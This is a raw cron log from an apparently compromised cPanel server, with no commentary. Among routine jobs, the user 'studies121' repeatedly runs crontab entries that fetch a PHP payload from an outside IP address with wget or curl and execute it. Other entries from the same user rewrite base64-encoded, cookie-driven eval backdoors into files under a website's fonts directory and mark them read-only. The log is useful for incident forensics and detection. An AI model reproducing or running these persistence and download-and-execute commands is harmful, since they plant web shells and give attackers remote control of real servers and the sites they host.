Sep  2 12:37:01 ip-184-168-122-23 CROND[17449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:37:01 ip-184-168-122-23 CROND[17451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:38:01 ip-184-168-122-23 CROND[17546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:38:01 ip-184-168-122-23 CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:38:01 ip-184-168-122-23 CROND[17547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:38:01 ip-184-168-122-23 CROND[17550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:38:01 ip-184-168-122-23 CROND[17551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:39:01 ip-184-168-122-23 CROND[17658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:39:01 ip-184-168-122-23 CROND[17660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:39:01 ip-184-168-122-23 CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 12:39:01 ip-184-168-122-23 CROND[17662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:39:01 ip-184-168-122-23 CROND[17663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:40:01 ip-184-168-122-23 CROND[17780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:40:01 ip-184-168-122-23 CROND[17783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:40:01 ip-184-168-122-23 CROND[17786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:40:01 ip-184-168-122-23 CROND[17787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:40:01 ip-184-168-122-23 CROND[17784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:40:01 ip-184-168-122-23 CROND[17789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:40:01 ip-184-168-122-23 CROND[17785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:40:01 ip-184-168-122-23 CROND[17788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:41:02 ip-184-168-122-23 CROND[17918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:41:02 ip-184-168-122-23 CROND[17919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:41:02 ip-184-168-122-23 CROND[17921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:41:02 ip-184-168-122-23 CROND[17920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:42:01 ip-184-168-122-23 CROND[18029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:42:01 ip-184-168-122-23 CROND[18031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:42:01 ip-184-168-122-23 CROND[18032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:42:01 ip-184-168-122-23 CROND[18033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:42:01 ip-184-168-122-23 CROND[18034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:43:01 ip-184-168-122-23 CROND[18240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:43:01 ip-184-168-122-23 CROND[18242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:43:01 ip-184-168-122-23 CROND[18243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:43:01 ip-184-168-122-23 CROND[18244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:44:01 ip-184-168-122-23 CROND[18444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:44:01 ip-184-168-122-23 CROND[18446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:44:01 ip-184-168-122-23 CROND[18447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:44:01 ip-184-168-122-23 CROND[18448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:44:01 ip-184-168-122-23 CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:45:01 ip-184-168-122-23 CROND[18542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18545]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:45:01 ip-184-168-122-23 CROND[18547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:46:01 ip-184-168-122-23 CROND[18670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:46:01 ip-184-168-122-23 CROND[18671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:46:01 ip-184-168-122-23 CROND[18676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:46:01 ip-184-168-122-23 CROND[18674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:46:01 ip-184-168-122-23 CROND[18675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:46:01 ip-184-168-122-23 CROND[18677]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 12:46:01 ip-184-168-122-23 CROND[18678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:47:01 ip-184-168-122-23 CROND[18805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:47:01 ip-184-168-122-23 CROND[18803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:47:01 ip-184-168-122-23 CROND[18804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:47:01 ip-184-168-122-23 CROND[18806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:48:01 ip-184-168-122-23 CROND[18886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:48:01 ip-184-168-122-23 CROND[18888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:48:01 ip-184-168-122-23 CROND[18889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:48:01 ip-184-168-122-23 CROND[18891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:48:01 ip-184-168-122-23 CROND[18890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:49:01 ip-184-168-122-23 CROND[18980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:49:01 ip-184-168-122-23 CROND[18982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:49:01 ip-184-168-122-23 CROND[18983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:49:01 ip-184-168-122-23 CROND[18985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
